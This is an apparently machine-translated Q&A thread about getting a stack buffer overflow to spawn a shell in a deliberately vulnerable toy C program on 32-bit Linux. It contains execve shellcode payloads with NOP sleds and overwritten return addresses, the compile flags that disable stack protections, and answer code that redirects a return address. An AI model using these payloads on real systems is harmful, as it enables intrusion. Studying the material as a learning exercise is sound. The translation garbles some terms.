Why is my stack buffer overflow exploit not working?

So I have a really simple stackoverflow:

#include <stdio.h> int main(int argc, char *argv[]) { char buf[256]; memcpy(buf, argv[1],strlen(argv[1])); printf(buf); } 

I am trying to overflow this code:

 $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*237 + 'c8f4ffbf'.decode('hex')") 

When I overflow the stack, I successfully rewrite the EIP with my wanted address, but then nothing happens. It does not execute my shellcode.

Does anyone see a problem? Note. My python may be wrong.


UPDATE

I do not understand why my code is not executing. For example, if I point eip to nops, nops will never be executed. In this way,

 $(python -c "print '\x90'*50 + 'A'*210 + '\xc8\xf4\xff\xbf'") 

UPDATE

Can someone be kind enough to use this overflowing themselves in Linux? x86 and publish the results?


UPDATE

Never think I earned. Thank you for your help.


UPDATE

Well, I thought I did. I got a shell, but now I'm trying again, and I'm having problems.

Everything I do overflow the stack at the beginning and point to my shellcode.

In this way,

 r $(python -c 'print "A"*260 + "\xcc\xf5\xff\xbf"') 

This should point to A. Now I do not understand why my address at the end changes in gdb.

This is what gdb gives me,

 Program received signal SIGTRAP, Trace/breakpoint trap. 0xbffff5cd in ?? () 

\ xcc changes to \ xcd. Could this have something to do with the error I get with gdb?

When I fill in this address "B", for example, it resolves the penalty with \ x42 \ x42 \ x42 \ x42. So what gives?

Any help would be appreciated.

In addition, I am compiling the following options:

 gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o so so.c 

This is really strange, because any other address works except what I need.


UPDATE

I can successfully create a shell with the following in gdb,

 $(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'") 

But I do not understand why this works sometimes and does not work at other times. Sometimes my rewritable eip changes to gdb. Does anyone know what I am missing? In addition, I can only deploy the shell in gdb, and not in the normal process. And on top of that, I can only run the shell once in gdb, and then gdb will stop working.

For example, now when I run the following, I get this in gdb ...

 Starting program: /root/so $(python -c 'print "A"*260 + "\xc8\xf4\xff\xbf"') Program received signal SIGSEGV, Segmentation fault. 0xbffff5cc in ?? () 

This is apparently caused by the inclusion of execstack.


UPDATE

Yes, for some reason I have different results, but the exploit works. So thank you all for your help. If anyone can explain the results I got above, I'm all ears. Thanks.

+5
source share
3 answers

There are several defenses to attack directly from the compiler. For example, your stack may not execute.

readelf -l <filename>

if your output contains something like this:

GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4

this means that you can only read and write on the stack (so you have to "go back to libc" to start your shell).

There may also be canary protection, that is, there is a piece of memory between your variables and the instruction pointer, which contains a phrase that is checked for integrity, and if it is overwritten by your line, the program will exit.

if you are trying to do this in your own program, consider removing some protections using the gcc commands:

gcc -z execstack

Also, a note about your assembly typically includes nops in front of the shell code, so you do not need to specify the exact address that your shell code runs.

$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")

Please note that in the address that should be placed inside the instruction pointer, you can change the last hexadecimal digits to indicate somewhere inside your nose, and not necessarily at the beginning of your buffer.

Of course, gdb should be your best friend if you are trying to do something like this.

Hope this helps.

+2
source

This will not work too well [as written]. However, this is possible, so read on ...


This helps to find out what the actual stack structure is when the main function is called. This is a little more complicated than most people realize.

Assuming POSIX OS (for example, linux), the kernel sets the stack pointer to a fixed address.

The kernel performs the following actions:

It calculates how much space is needed for the lines of the environment variable (ie strlen("HOME=/home/me") + 1 for all environment variables and "pushes" these lines onto the stack in the down direction [towards lower memory] Then it calculates how much it was (for example, envcount ) and creates char *envp[envcount + 1] on the stack and populates the envp values envp pointers to the given lines. This null terminates this envp

A similar process is performed for argv strings.

The kernel then loads the ELF interpreter. The kernel starts the process with the start address of the ELF interpreter. The ELF interpreter [ultimately] calls the "start" function (for example, _start from crt0.o ), which executes some init, and then calls main(argc,argv,envp)

This is [view] what the stack looks like when calling main :

 "HOME=/home/me" "LOGNAME=me" "SHELL=/bin/sh" // alignment pad ... char *envp[4] = { // address of "HOME" string // address of "LOGNAME" string // address of "SHELL" string NULL }; // string for argv[0] ... // string for argv[1] ... // ... char *argv[] = { // pointer to argument string 0 // pointer to argument string 1 // pointer to argument string 2 NULL } // possibly more stuff put in by ELF interpreter ... // possibly more stuff put in by _start function ... 

In x86 , the pointer values argc , argv and envp are placed in the first three registers of the x86 ABI arguments.


Here's the problem [problems, plural, actually] ...

By the time all this is done, you hardly understand what the shell code address is. Thus, any code you write should be RIP-relative addressing and [probably] built using -fPIC .

And as a result, the resulting code cannot have a zero byte in the middle, because it is transmitted [by the kernel] as a string with completed EOS. Thus, a line with zero (e.g., <byte0>,<byte1>,<byte2>,0x00,<byte5>,<byte6>,... ) will only transmit the first three bytes, and not the entire shell code program.

Also you have a good idea as to what the value of the stack pointer is.

In addition, you need to find the memory word on the stack in which there is a return address (i.e. this is what the call main asm command launches).

This word containing the return address must be set to the address of the shell code. But it does not always have a fixed offset relative to the main frame variable (e.g. buf ). Thus, you cannot predict which word on the stack to change to get the "return to shell code" effect.

In addition, x86 architecture has special mitigation equipment. For example, a page might be marked with NX [no execute]. This is usually done for certain segments, such as the stack. If the RIP is modified to point to the stack, the hardware will fail.


Here's the [easy] solution ...

gcc has some built-in functions that can help: __builtin_return_address , __builtin_frame_address .

So, get the value of the real return address from the internal [name it retadr ]. Get the address of the stack frame [name it fp ].

Starting with fp and increasing (by sizeof(void*) ) towards higher memory, find the word corresponding to retadr . This is the memory location you want to change to point to shell code. It will probably be at offset 0 or 8

So then do: *fp = argv[1] and return.

Note. Additional steps may be required, because if the NX bit is set on the stack, the line indicated by argv[1] is on the stack, as indicated above.


Here is an example of code that works:

 #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <sys/syscall.h> void shellcode(void) { static char buf[] = "shellcode: hello\n"; char *cp; for (cp = buf; *cp != 0; ++cp); // NOTE: in real shell code, we couldn't rely on using this function, so // these would need to be the CPP macro versions: _syscall3 and _syscall2 // respectively or the syscall function would need to be _statically_ // linked in syscall(SYS_write,1,buf,cp - buf); syscall(SYS_exit,0); } int main(int argc,char **argv) { void *retadr = __builtin_return_address(0); void **fp = __builtin_frame_address(0); int iter; printf("retadr=%p\n",retadr); printf("fp=%p\n",fp); // NOTE: for your example, replace: // *fp = (void *) shellcode; // with: // *fp = (void *) argv[1] for (iter = 20; iter > 0; --iter, fp += 1) { printf("fp=%p %p\n",fp,*fp); if (*fp == retadr) { *fp = (void *) shellcode; break; } } if (iter <= 0) printf("main: no match\n"); return 0; } 
0
source

I had similar problems when trying to execute a stack buffer overflow. I found that my return address in GDB is different from this in a normal process. I added the following:

 unsigned long printesp(void){ __asm__("movl %esp,%eax"); } 

And he called it at the end of the fundamental right before Return , to get an idea of ​​where the stack was. From there, I just played with this value subtracting 4 from the printed ESP until it worked.

0
source

Source: https://habr.com/ru/post/1257348/


All Articles